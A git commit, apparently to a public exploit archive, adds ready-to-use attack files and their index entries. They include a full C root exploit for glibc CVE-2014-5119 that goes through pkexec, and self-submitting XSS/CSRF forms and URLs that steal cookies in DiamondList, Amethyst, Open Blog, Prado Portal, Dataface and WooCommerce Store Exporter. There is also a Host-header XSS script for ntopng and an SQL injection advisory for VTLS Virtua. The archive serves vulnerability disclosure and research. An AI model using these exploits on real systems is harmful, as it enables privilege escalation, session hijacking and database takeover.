Updated 08_28_2014

2014-08-28 04:39:51 +00:00 · 2014-08-28 04:39:51 +00:00 · 2bbed5f057
commit 2bbed5f057
parent 22c266d149
11 changed files with 751 additions and 0 deletions
--- a/files.csv
+++ b/files.csv
@ -30995,3 +30995,13 @@ id,file,description,date,author,platform,type,port
 34410,platforms/php/webapps/34410.txt,"PHPFinance 0.6 'group.php' SQL Injection and HTML Injection Vulnerabilities",2010-08-05,skskilL,php,webapps,0
 34411,platforms/asp/webapps/34411.txt,"DT Centrepiece 4.5 Cross Site Scripting and Security Bypass Vulnerabilities",2010-08-05,"High-Tech Bridge SA",asp,webapps,0
 34412,platforms/php/webapps/34412.txt,"Hulihan Applications BXR 0.6.8 SQL Injection and HTML Injection Vulnerabilities",2010-08-05,"High-Tech Bridge SA",php,webapps,0
+34413,platforms/php/webapps/34413.txt,"DiamondList /user/main/update_settings setting[site_title] Parameter XSS",2010-08-05,"High-Tech Bridge SA",php,webapps,0
+34414,platforms/php/webapps/34414.txt,"DiamondList /user/main/update_category category[description] Parameter XSS",2010-08-05,"High-Tech Bridge SA",php,webapps,0
+34415,platforms/php/webapps/34415.txt,"Hulihan Applications Amethyst 0.1.5 Multiple HTML Injection Vulnerabilities",2010-08-05,"High-Tech Bridge SA",php,webapps,0
+34416,platforms/php/webapps/34416.txt,"Muraus Open Blog Multiple HTML Injection Vulnerabilities",2010-08-05,"High-Tech Bridge SA",php,webapps,0
+34417,platforms/php/webapps/34417.txt,"Prado Portal 1.2 'page' Parameter Cross Site Scripting Vulnerability",2010-08-06,"High-Tech Bridge SA",php,webapps,0
+34418,platforms/php/webapps/34418.txt,"Dataface 1.0 'admin.php' Cross Site Scripting Vulnerability",2010-08-06,MustLive,php,webapps,0
+34419,platforms/multiple/webapps/34419.txt,"ntopng 1.2.0 - XSS Injection",2014-08-26,"Steffen Bauch",multiple,webapps,0
+34420,platforms/cgi/webapps/34420.txt,"VTLS Virtua InfoStation.cgi - SQL Injection",2014-08-26,"José Tozo",cgi,webapps,80
+34421,platforms/linux/local/34421.c,"glibc Off-by-One NUL Byte gconv_translit_find Exploit",2014-08-27,"taviso and scarybeasts",linux,local,0
+34424,platforms/php/webapps/34424.txt,"WooCommerce Store Exporter 1.7.5 - SXSS and RXSS",2014-08-27,"Mike Manzotti",php,webapps,0
--- a/platforms/cgi/webapps/34420.txt
+++ b/platforms/cgi/webapps/34420.txt
@ -0,0 +1,55 @@
+=====[Alligator Security Team - Security Advisory]============================
+
+     - VTLS Virtua InfoStation.cgi SQLi - CVE-2014-2081 -
+
+  Author: José Tozo  < juniorbsd () gmail com >
+
+=====[Table of Contents]======================================================
+
+1. Background
+2. Detailed description
+3. Other contexts & solutions
+4. Timeline
+5. References
+
+=====[1. Background]============================================================
+
+* Versions affected: VTLS Virtua InfoStation.cgi - All Versions under 2014.X - or 2013.2.X Are Affected
+* Release date: 22/08/2014
+* Impact: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service
+
+VTLS-Virtua is a full-function library management system, providing management of circulation, cataloging, serials, acquisitions, course reserves and more. All functions are fully integrated, allowing any staff user to access any function at any time according to their library-assigned permissions [1].
+
+=====[2. Detailed description]================================================
+
+Due to improper sanitization, InfoStation.cgi is prone to a SQL Injection vulnerability in its "username" and "password" fields, which could lead an attacker to take over the server database.
+
+The vulnerability described in this document can be exploited by manipulating the aforementioned parameters as decribed in the following example:
+
+http://www.example.com/web_reports/cgi-bin/InfoStation.cgi?mod=login&func=process&database=1&lang_code=en&report_group=Adm&filter=aaa&username=[SQLI]&password=[SQLI]
+
+Currently, the username/password fields on the Infostation login page are vulnerable to attack through modification of the URL via sql injection.
+This is where instead of entering staff/staff or root/root, an actual SQL statement is sent in its place 'select * from' or 'delete * from' to modify/query/remove data directly from the database.
+We need to verify that the username/password is valid before sending them to the database to verify status and permissions. This can be achieved using prepared statements [2].
+
+=====[3. Other contexts & solutions]==========================================
+
+In 2014.1.1 and 2013.2.4, the InfoStation Log In screen has been improved so that it is not vulnerable to attack via SQL statement injection.
+
+To have the fix applied, your library would need to update your software to the most recent 2014.x or 2013.2.x version.
+
+=====[4. Timeline]============================================================
+
+23/02/14 Vendor & Mitre notification.
+24/02/14 Mitre assigned CVE-2014-2081.
+28/03/14 Vendor notified again.
+28/03/14 Vendor answered the bug was fixed.
+05/08/14 Asked vendor from which version has the fix.
+05/08/14 Vendor answered the Release Notes and [2].
+18/08/14 Asked vendor to report this to the affected customers.
+22/08/14 Disclosure date.
+
+=====[5. Reference]============================================================
+
+1 - http://www.vtls.com/products/vtls-virtua
+2 - As Vendor answered
--- a/platforms/linux/local/34421.c
+++ b/platforms/linux/local/34421.c
@ -0,0 +1,387 @@
+//
+// Full Exploit: http://www.exploit-db.com/sploits/CVE-2014-5119.tar.gz
+//
+//
+// ---------------------------------------------------
+// CVE-2014-5119 glibc __gconv_translit_find() exploit
+// ------------------------ taviso & scarybeasts -----
+//
+// Tavis Ormandy <taviso@cmpxhg8b.com>
+// Chris Evans   <scarybeasts@gmail.com>
+//
+// Monday 25th August, 2014
+//
+
+#define _GNU_SOURCE
+#include <err.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dlfcn.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdint.h>
+#include <assert.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <signal.h>
+#include <string.h>
+#include <termios.h>
+#include <stdbool.h>
+#include <sys/user.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/ptrace.h>
+#include <sys/utsname.h>
+#include <sys/resource.h>
+
+// Minimal environment to trigger corruption in __gconv_translit_find().
+static char * const kCorruptCharsetEnviron[] = {
+    "CHARSET=//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
+    NULL,
+};
+
+static const struct rlimit kRlimMax = {
+    .rlim_cur = RLIM_INFINITY,
+    .rlim_max = RLIM_INFINITY,
+};
+
+static const struct rlimit kRlimMin = {
+    .rlim_cur = 1,
+    .rlim_max = 1,
+};
+
+// A malloc chunk header.
+typedef struct {
+    size_t    prev_size;
+    size_t    size;
+    uintptr_t fd;
+    uintptr_t bk;
+    uintptr_t fd_nextsize;
+    uintptr_t bk_nextsize;
+} mchunk_t;
+
+// A tls_dtor_list node.
+typedef struct {
+    uintptr_t   func;
+    uintptr_t   obj;
+    uintptr_t   map;
+    uintptr_t   next;
+} dlist_t;
+
+// The known_trans structure glibc uses for transliteration modules.
+typedef struct {
+    uint8_t    info[32];
+    char      *fname;
+    void      *handle;
+    int        open_count;
+} known_t;
+
+enum {
+    LOG_DEBUG,
+    LOG_WARN,
+    LOG_ERROR,
+    LOG_FATAL,
+};
+
+// Round up an integer to the next PAGE_SIZE boundary.
+static inline uintptr_t next_page_size(uintptr_t size)
+{
+    return (size + PAGE_SIZE - 1) & PAGE_MASK;
+}
+
+// Allocate a buffer of specified length, starting with s, containing c, terminated with t.
+static void * alloc_repeated_string(size_t length, int s, int c, int t)
+{
+    return memset(memset(memset(malloc(length), t, length), c, length - 1), s, 1);
+}
+
+static void logmessage(int level, const char * format, ...)
+{
+    va_list ap;
+
+    switch (level) {
+        case LOG_DEBUG: fprintf(stderr, "[*] "); break;
+        case LOG_WARN:  fprintf(stderr, "[*] "); break;
+        case LOG_ERROR: fprintf(stderr, "[!] "); break;
+    }
+
+    va_start(ap, format);
+        vfprintf(stderr, format, ap);
+    va_end(ap);
+
+    fputc('\n', stderr);
+
+    if (level == LOG_ERROR) {
+        _exit(EXIT_FAILURE);
+    }
+}
+
+// Parse a libc malloc assertion message to extract useful pointers.
+//
+// Note, this isn't to defeat ASLR, it just makes it more portable across
+// different system configurations. ASLR is already nullified using rlimits,
+// although technically even that isn't necessary.
+static int parse_fatal_error(uintptr_t *chunkptr, uintptr_t *baseaddr, uintptr_t *bssaddr, uintptr_t *libcaddr)
+{
+    FILE *pty;
+    char *mallocerror;
+    char *memorymap;
+    char *line;
+    char *prev;
+    char message[1 << 14];
+    char *anon = NULL;
+    char r, w, x, s;
+    ssize_t count;
+    int status;
+    uintptr_t mapstart;
+    uintptr_t mapend;
+
+    // Unfortunately, glibc writes it's error messaged to /dev/tty. This cannot
+    // be changed in setuid programs, so this wrapper catches tty output.
+    while (true) {
+        // Reset any previous output.
+        memset(message, 0, sizeof message);
+
+        logmessage(LOG_DEBUG, "Attempting to invoke pseudo-pty helper (this will take a few seconds)...");
+
+        if ((pty = popen("./pty", "r")) == NULL) {
+            logmessage(LOG_ERROR, "failed to execute pseudo-pty helper utility, cannot continue");
+        }
+
+        if ((count = fread(message, 1, sizeof message, pty)) <= 0) {
+            logmessage(LOG_ERROR, "failed to read output from pseudo-pty helper, %d (%m)", count, message);
+        }
+
+        logmessage(LOG_DEBUG, "Read %u bytes of output from pseudo-pty helper, parsing...", count);
+
+        pclose(pty);
+
+        mallocerror = strstr(message, "corrupted double-linked list");
+        memorymap = strstr(message, "======= Memory map: ========");
+
+        // Unfortunately this isn't reliable, keep trying until it works.
+        if (mallocerror == NULL || memorymap == NULL) {
+            logmessage(LOG_WARN, "expected output missing (this is normal), trying again...");
+            continue;
+        }
+
+        logmessage(LOG_DEBUG, "pseudo-pty helper succeeded");
+        break;
+    }
+
+    *baseaddr = 0;
+    *chunkptr = 0;
+    *bssaddr  = 0;
+    *libcaddr = 0;
+
+    logmessage(LOG_DEBUG, "attempting to parse libc fatal error message...");
+
+    // Verify this is a message we understand.
+    if (!mallocerror || !memorymap) {
+        logmessage(LOG_ERROR, "unable to locate required error messages in crash dump");
+    }
+
+    // First, find the chunk pointer that malloc doesn't like
+    if (sscanf(mallocerror, "corrupted double-linked list: %p ***", chunkptr) != 1) {
+        logmessage(LOG_ERROR, "having trouble parsing this error message: %.20s", mallocerror);
+    };
+
+    logmessage(LOG_DEBUG, "discovered chunk pointer from `%.20s...`, => %p", mallocerror, *chunkptr);
+    logmessage(LOG_DEBUG, "attempting to parse the libc maps dump...");
+
+    // Second, parse maps.
+    for (prev = line = memorymap; line = strtok(line, "\n"); prev = line, line = NULL) {
+        char filename[32];
+
+        // Reset filename.
+        memset(filename, 0, sizeof filename);
+
+        // Just ignore the banner printed by glibc.
+        if (strcmp(line, "======= Memory map: ========") == 0) {
+            continue;
+        }
+
+        if (sscanf(line, "%08x-%08x %c%c%c%c %*8x %*s %*u %31s", &mapstart, &mapend, &r, &w, &x, &s, filename) >= 1) {
+            // Record the last seen anonymous map, in case the kernel didn't tag the heap.
+            if (strlen(filename) == 0) {
+                anon = line;
+            }
+
+            // If the kernel did tag the heap, then everything is easy.
+            if (strcmp(filename, "[heap]") == 0) {
+                logmessage(LOG_DEBUG, "successfully located first morecore chunk w/tag @%p", mapstart);
+                *baseaddr = mapstart;
+            }
+
+            // If it didn't tag the heap, then we need the anonymous chunk before the stack.
+            if (strcmp(filename, "[stack]") == 0 && !*baseaddr) {
+                logmessage(LOG_WARN, "no [heap] tag was found, using heuristic...");
+                if (sscanf(anon, "%08x-%*08x %*c%*c%*c%*c %*8x %*s %*u %31s", baseaddr, filename) < 1) {
+                    logmessage(LOG_ERROR, "expected to find heap location in line `%s`, but failed", anon);
+                }
+                logmessage(LOG_DEBUG, "located first morecore chunk w/o tag@%p", *baseaddr);
+            }
+
+            if (strcmp(filename, "/usr/lib/libc-2.18.so") == 0 && x == 'x') {
+                logmessage(LOG_DEBUG, "found libc.so mapped @%p", mapstart);
+                *libcaddr = mapstart;
+            }
+
+            // Try to find libc bss.
+            if (strlen(filename) == 0 && mapend - mapstart == 0x102000) {
+                logmessage(LOG_DEBUG, "expecting libc.so bss to begin at %p", mapstart);
+                *bssaddr = mapstart;
+            }
+            continue;
+        }
+
+        logmessage(LOG_ERROR, "unable to parse maps line `%s`, quiting", line);
+        break;
+    }
+
+    return (*chunkptr == 0 || *baseaddr == 0 || *bssaddr == 0 || *libcaddr == 0) ? 1 : 0;
+}
+
+static const size_t heap_chunk_start = 0x506c8008;
+static const size_t heap_chunk_end   = 0x506c8008 + (2 * 1024 * 1024);
+
+static const size_t nstrings = 15840000;
+
+// The offset into libc-2.18.so BSS of tls_dtor_list.
+static const uintptr_t kTlsDtorListOffset = 0x12d4;
+
+// The DSO we want to load as euid 0.
+static const char kExploitDso[] = "./exploit.so";
+
+int main(int argc, const char* argv[])
+{
+    uintptr_t baseaddr;
+    uintptr_t chunkptr;
+    uintptr_t bssaddr;
+    uintptr_t libcaddr;
+    uint8_t  *param;
+    char    **args;
+    dlist_t  *chain;
+    struct utsname ubuf;
+
+    // Look up host type.
+    if (uname(&ubuf) != 0) {
+        logmessage(LOG_ERROR, "failed to query kernel information");
+    }
+
+    logmessage(LOG_DEBUG, "---------------------------------------------------");
+    logmessage(LOG_DEBUG, "CVE-2014-5119 glibc __gconv_translit_find() exploit");
+    logmessage(LOG_DEBUG, "------------------------ taviso & scarybeasts -----");
+
+    // Print some warning that this isn't going to work on Ubuntu.
+    if (access("/etc/fedora-release", F_OK) != 0 || strcmp(ubuf.machine, "i686") != 0)
+        logmessage(LOG_WARN, "This proof of concept is designed for 32 bit Fedora 20");
+
+    // Extract some useful pointers from glibc error output.
+    if (parse_fatal_error(&chunkptr, &baseaddr, &bssaddr, &libcaddr) != 0) {
+        logmessage(LOG_ERROR, "unable to parse libc fatal error message, please try again.");
+    }
+
+    logmessage(LOG_DEBUG, "allocating space for argument structure...");
+
+    // This number of "-u" arguments is used to spray the heap.
+    // Each value is a 59-byte string, leading to a 64-byte heap chunk, leading to a stable heap pattern.
+    // The value is just large enough to usuaully crash the heap into the stack without going OOM.
+    if ((args = malloc(((nstrings * 2 + 3) * sizeof(char *)))) == NULL) {
+        logmessage(LOG_ERROR, "allocating argument structure failed");
+    }
+
+    logmessage(LOG_DEBUG, "creating command string...");
+
+    args[nstrings * 2 + 1] = alloc_repeated_string(471, '/', 1, 0);
+    args[nstrings * 2 + 2] = NULL;
+
+    logmessage(LOG_DEBUG, "creating a tls_dtor_list node...");
+
+    // The length 59 is chosen to cause a 64byte allocation by stdrup. That is
+    // a 60 byte nul-terminated string, followed by 4 bytes of metadata.
+    param = alloc_repeated_string(59, 'A', 'A', 0);
+    chain = (void *) param;
+
+    logmessage(LOG_DEBUG, "open_translit() symbol will be at %p", libcaddr + _OPEN_TRANSLIT_OFF);
+    logmessage(LOG_DEBUG, "offsetof(struct known_trans, fname) => %u", offsetof(known_t, fname));
+
+    chain->func = libcaddr + _OPEN_TRANSLIT_OFF;
+    chain->obj  = baseaddr + 8 + sizeof(*chain) - 4 - offsetof(known_t, fname);
+    chain->map  = baseaddr + 8 + sizeof(*chain);
+    chain->next = baseaddr + 8 + 59 - strlen(kExploitDso);
+
+    logmessage(LOG_DEBUG, "appending `%s` to list node", kExploitDso);
+
+    memcpy(param + 59 - strlen(kExploitDso), kExploitDso, 12);
+
+    logmessage(LOG_DEBUG, "building parameter list...");
+    for (int i = 0; i < nstrings; ++i) {
+        args[i*2 + 1] = "-u";
+        args[i*2 + 2] = (void *) chain;
+    }
+
+    // Verify we didn't sneak in a NUL.
+    assert(memchr(chain, 0, sizeof(chain)) == NULL);
+
+    logmessage(LOG_DEBUG, "anticipating tls_dtor_list to be at %p", bssaddr + kTlsDtorListOffset);
+
+    // Spam all of possible chunks (some are unfortunately missed).
+    for (int i = 0; true; i++) {
+        uintptr_t chunksize         = 64;
+        uintptr_t chunkaddr         = baseaddr + i * chunksize;
+        uintptr_t targetpageoffset  = chunkptr & ~PAGE_MASK;
+        uintptr_t chunkpageoffset   = PAGE_MASK;
+        uintptr_t mmapbase          = 31804 + ((0xFD8 - targetpageoffset) / 32);
+        uint8_t  *param             = NULL;
+        mchunk_t chunk              = {
+            .prev_size              = 0xCCCCCCCC,
+            .size                   = 0xDDDDDDDD,
+            .fd_nextsize            = bssaddr + kTlsDtorListOffset - 0x14,
+            .bk_nextsize            = baseaddr + 8,
+        };
+
+        // Compensate for heap metadata every 1MB of allocations.
+        chunkaddr += 8 + (i / (1024 * 1024 / chunksize - 1) * chunksize);
+
+        if (chunkaddr < heap_chunk_start)
+            continue;
+
+        if (chunkaddr > heap_chunk_end)
+            break;
+
+        chunkpageoffset = chunkaddr & ~PAGE_MASK;
+
+        if (chunkpageoffset > targetpageoffset) {
+            continue;
+        }
+
+        if (targetpageoffset - chunkpageoffset > chunksize) {
+            continue;
+        }
+
+        // Looks like this will fit, compensate the pointers for alignment.
+        chunk.fd = chunk.bk = chunkaddr + (targetpageoffset - chunkpageoffset);
+
+        if (memchr(&chunk, 0, sizeof chunk)) {
+            logmessage(LOG_WARN, "parameter %u would contain a nul, skipping", i);
+            continue;
+        }
+        args[mmapbase + i * 2] = param = alloc_repeated_string(60, 'A', 'A', 0);
+
+        memcpy(param + (targetpageoffset - chunkpageoffset),
+               &chunk,
+               sizeof chunk);
+    }
+
+    setrlimit(RLIMIT_STACK, &kRlimMax);
+    setrlimit(RLIMIT_DATA, &kRlimMin);
+
+    args[0] = "pkexec";
+
+    logmessage(LOG_DEBUG, "execvpe(%s...)...", args[0]);
+    execvpe("pkexec", args, kCorruptCharsetEnviron);
+}
--- a/platforms/multiple/webapps/34419.txt
+++ b/platforms/multiple/webapps/34419.txt
@ -0,0 +1,39 @@
+ntopng 1.2.0 XSS injection using monitored network traffic
+
+ntopng is the next generation version of the original ntop, a network 
+traffic probe and monitor that shows the network usage, similar to what 
+the popular top Unix command does.
+
+The web-based frontend of the software is vulnerable to injection of 
+script code via forged HTTP Host: request header lines in monitored 
+network traffic.
+
+HTTP Host request header lines are extracted using nDPI traffic 
+classification library and used without sanitization in several places 
+in the frontend, e.g. the Host overview and specific subpages for each 
+monitored host.
+
+The injected code might be used to execute javascript and to perform 
+management actions with the user-rights of the current ntopng user, 
+which can be used to disable the monitoring function or deletion of 
+accounts making the monitoring system unusable.
+
+To give a coarse idea of the vulnerability the following python script 
+can be used on the monitored network, afterwards the victim needs to 
+browse to the Host overview / Host details in the ntopng frontend.
+
+import httplib
+
+conn = httplib.HTTPConnection("example.com")
+headers = {"Host": "<SCRIPT>alert(\"xss\")</SCRIPT>", "Accept": 
+"text/plain"}
+conn.request("GET", "/", None, headers)
+r1 = conn.getresponse()
+print(r1.status, r1.reason)
+data1 = r1.read()
+
+Other users of the nDPI code might be affected as well.
+
+Steffen Bauch
+Twitter: @steffenbauch
+http://steffenbauch.de
--- a/platforms/php/webapps/34413.txt
+++ b/platforms/php/webapps/34413.txt
@ -0,0 +1,19 @@
+source: http://www.securityfocus.com/bid/42252/info
+
+DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
+
+DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 
+
+<form action="http://www.example.com/user/main/update_settings" method="post"  name="main" >
+<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
+<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
+<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
+<input type="hidden" name="setting[theme]" value="default" />
+<input type="hidden" name="commit" value="Save Settings" />
+
+</form>
+<script>
+document.main.submit();
+</script>
--- a/platforms/php/webapps/34414.txt
+++ b/platforms/php/webapps/34414.txt
@ -0,0 +1,17 @@
+source: http://www.securityfocus.com/bid/42252/info
+ 
+DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
+ 
+Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
+ 
+DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 
+
+<form action="http://www.example.com/user/main/update_category/CATEGORY_ID" method="post"  name="main" >
+<input type="hidden" name="category[name]" value="some cat name" />
+<input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' />
+<input type="hidden" name="commit" value="Update" />
+
+</form>
+<script>
+document.main.submit();
+</script>
--- a/platforms/php/webapps/34415.txt
+++ b/platforms/php/webapps/34415.txt
@ -0,0 +1,55 @@
+source: http://www.securityfocus.com/bid/42253/info
+
+Hulihan Applications Amethyst is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
+
+Hulihan Applications Amethyst 0.1.5 is vulnerable; prior versions may also be affected. 
+
+&#039;mynameis<script>alert(document.cookie)</script>
+
+<form action="http://www.example.com/admin/update/2" method="post" name="main" >
+
+<input type="hidden" name="post[title]" value=&#039;title"><script>alert(document.cookie)</script>&#039; />
+<input type="hidden" name="post[content]" value="this is my post" />
+<input type="hidden" name="post[created_at(1i)]" value="2010" />
+<input type="hidden" name="post[created_at(2i)]" value="7" />
+<input type="hidden" name="post[created_at(3i)]" value="15" />
+<input type="hidden" name="post[created_at(4i)]" value="20" />
+<input type="hidden" name="post[created_at(5i)]" value="39" />
+<input type="hidden" name="post[updated_at(1i)]" value="2010" />
+<input type="hidden" name="post[updated_at(2i)]" value="7" />
+<input type="hidden" name="post[updated_at(3i)]" value="15" />
+<input type="hidden" name="post[updated_at(4i)]" value="20" />
+<input type="hidden" name="post[updated_at(5i)]" value="39" />
+<input type="hidden" name="commit" value="Create" />
+
+</form>
+<script>
+document.main.submit();
+</script>
+
+
+<form action="http://ww.example.com/admin/update_settings" method="post" name="main" >
+
+<input type="hidden" name="setting[site_title]" value=&#039;My blog"><script>alert(document.cookie)</script>&#039; />
+<input type="hidden" name="setting[site_description]" value="Welcome to My Amethyst Blog!" />
+<input type="hidden" name="setting[site_keywords]" value="amethyst blog, xss" />
+<input type="hidden" name="setting[enable_site_title]" value="1" />
+<input type="hidden" name="setting[posts_per_page]" value="10" />
+<input type="hidden" name="setting[archive_months_to_show]" value="12" />
+<input type="hidden" name="setting[enable_menu_archive]" value="1" />
+<input type="hidden" name="setting[enable_menu_search]" value="1" />
+<input type="hidden" name="setting[enable_menu_tools]" value="0" />
+<input type="hidden" name="setting[enable_menu_other]" value="1" />
+<input type="hidden" name="setting[item_thumbnail_width]" value="100" />
+<input type="hidden" name="setting[item_thumbnail_height]" value="100" />
+<input type="hidden" name="setting[resize_item_images]" value="0" />
+<input type="hidden" name="setting[item_image_width]" value="500" />
+<input type="hidden" name="setting[item_image_height]" value="500" />
+<input type="hidden" name="commit" value="Update Settings" />
+
+</form>
+<script>
+document.main.submit();
+</script>
--- a/platforms/php/webapps/34416.txt
+++ b/platforms/php/webapps/34416.txt
@ -0,0 +1,35 @@
+source: http://www.securityfocus.com/bid/42255/info
+
+Tomaž Muraus Open Blog is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
+
+Tomaž Muraus Open Blog 1.2.1 is vulnerable; prior versions may also be affected. 
+
+<form action="http://www.example.com/admin/pages/edit" method="post" >
+<input type="hidden" name="title" value="open blog page title" />
+<input type="hidden" name="content" value='Some page content and <script>alert(document.cookie)</script>' />
+<input type="hidden" name="status" value="active" />
+<input type="hidden" name="id" value="1" />
+<input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" />
+</form>
+<script>
+document.getElementById('sbmtit').click();
+</script>
+
+
+
+<form action="http://www.example.com/admin/posts/edit" method="post" >
+<input type="hidden" name="title" value="Welcome to Open Blog" />
+<input type="hidden" name="excerpt" value='Some text"><script>alert(document.cookie)</script>' />
+<input type="hidden" name="content" value="" />
+<input type="hidden" name="categories[]" value="1" />
+<input type="hidden" name="tags" value="openblog" />
+<input type="hidden" name="publish_date" value="13/07/2010" />
+<input type="hidden" name="status" value="published" />
+<input type="hidden" name="id" value="1" />
+<input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" />
+</form>
+<script>
+document.getElementById('sbmtit').click();
+</script>
--- a/platforms/php/webapps/34417.txt
+++ b/platforms/php/webapps/34417.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/42276/info
+
+Prado Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Prado Portal 1.2.0 is vulnerable; other versions may also be affected.
+
+http://www.example.com/index.php?page=x<img+src%3Dx+onerror%3Dalert(document.cookie)> 
--- a/platforms/php/webapps/34418.txt
+++ b/platforms/php/webapps/34418.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/42282/info
+
+Dataface is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Dataface 1.0 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/admin.php?-table=pages&-search=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&-action=search_index
--- a/platforms/php/webapps/34424.txt
+++ b/platforms/php/webapps/34424.txt
@ -0,0 +1,116 @@
+# Exploit Title: WooCommerce Store Exporter v1.7.5 Stored XSS
+# Google Dork: inurl:"woocommerce-exporter"
+# Date: 26/08/2014
+# Exploit Author: Mike Manzotti @ Dionach
+# Vendor Homepage: http://www.visser.com.au/plugins/store-exporter/
+# Software Link: http://downloads.wordpress.org/plugin/woocommerce-exporter.zip  (Fixed)
+# Version: v1.7.5
+
+# Vulnerability Disclosure Timeline:
+2014-08-25:  Discovered vulnerability
+2014-08-25:  Vendor Notification
+2014-08-25:  Vendor Response/Feedback
+2014-08-26:  Vendor Fix/Patch (v 1.7.6)
+2014-08-26:  Public Disclosure
+
+Stored Cross Site Scripting
+
+URL
+
+FIELDS
+
+/wp-admin/admin.php?page=woo_ce&tab=export
+
+POST: export_filename
+
+
+POST http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings
+export_filename="</script><script>alert(document.cookie)</script>&delete_file=0&encoding=UTF-8&timeout=0&delimiter=%2C&category_separator=%7C&bom=1&escape_formatting=all&enable_auto=0&auto_type=products&order_filter_status=&auto_method=archive&enable_cron=0&submit=Save+Changes&action=save-settings
+
+Response:
+<input name="export_filename" type="text" id="export_filename" value="\"</script><script>alert(document.cookie)</script>"
+
+[cid:image005.jpg@01CFC090.5AED79D0]
+
+Scenario:
+An attacker creates a malicious page as shown below and uploads it on a server under attacker's control.
+
+<html>
+<head>
+<title>XSS WooCommerce - Store Exporter</title>
+</head>
+<body onload="javascript:document.forms[0].submit()">
+<form method="POST" name="1" action="http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings">
+<input type="hidden" name="export_filename" value='"</script><script>alert(document.cookie)</script>"'/>
+<input type="hidden" name="action" value="save-settings"/>
+</form>
+</body>
+</html>
+
+When a WordPress administrator visits the malicious page above, a JavaScript code which prompts administrator's cookies will be saved on the victim's website. The attacker could send the URL pointing to the malicious webpage in an email or posting it in a review of a WooCommerce product, as shown below:
+
+[cid:image012.jpg@01CFC090.5AED79D0]
+
+When the WordPress administrator clicks on the malicious URL...
+
+[cid:image013.jpg@01CFC090.5AED79D0]
+
+The JavaScript code will be executed and saved in Store Exporter Settings:
+
+http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings
+[cid:image014.jpg@01CFC090.5AED79D0]
+
+Reflected Cross Site Scripting
+
+URL
+
+FIELDS
+
+/wp-admin/admin.php?page=woo_ce&tab=export
+
+GET: tab, POST: dataset
+
+
+1) Example
+Request:
+http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=<script>alert(1)</script<http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=%3cscript%3ealert(1)%3c/script>>
+
+Response:
+[...]
+<code>tabs-export<script>alert(1)</script>c172f.php</code>
+[...]
+
+http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=<script>alert(document.cookie)</script<http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=%3cscript%3ealert(document.cookie)%3c/script>>
+[cid:image015.jpg@01CFC090.5AED79D0]
+
+http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=settings
+
+2) Example
+Request:
+POST http://192.168.71.133/wp/wp-admin/admin.php?page=woo_ce&tab=export
+dataset=users1be3c<script>alert(1)<%2fscript>87acc&product_fields_order%5Bparent_id%5D=&product_fields_order%5Bparent_sku%5D=&product_fields_order%5Bproduct_id%5D=&product_fields_order%5Bsku%5D=&product_field
+
+Response:
+[...]
+<h3>Export Details: export_users1be3c<script>alert(1)</script>
+[...]
+
+Scenario:
+Similar scenarios could be reproduced as shown in the Stored Cross-site Scripting scenario.
+
+Kind regards,
+Mike
+
+______________________________________________________________________
+
+Disclaimer: This e-mail and any attachments are confidential.
+
+It may contain privileged information and is intended for the named
+addressee(s) only. It must not be distributed without Dionach Ltd consent.
+If you are not the intended recipient, please notify the sender immediately and destroy this e-mail. 
+
+Any unauthorised copying, disclosure or distribution of the material in this e-mail is strictly forbidden. Unless expressly stated, opinions in this e-mail are those of the individual sender, and not of Dionach Ltd.
+
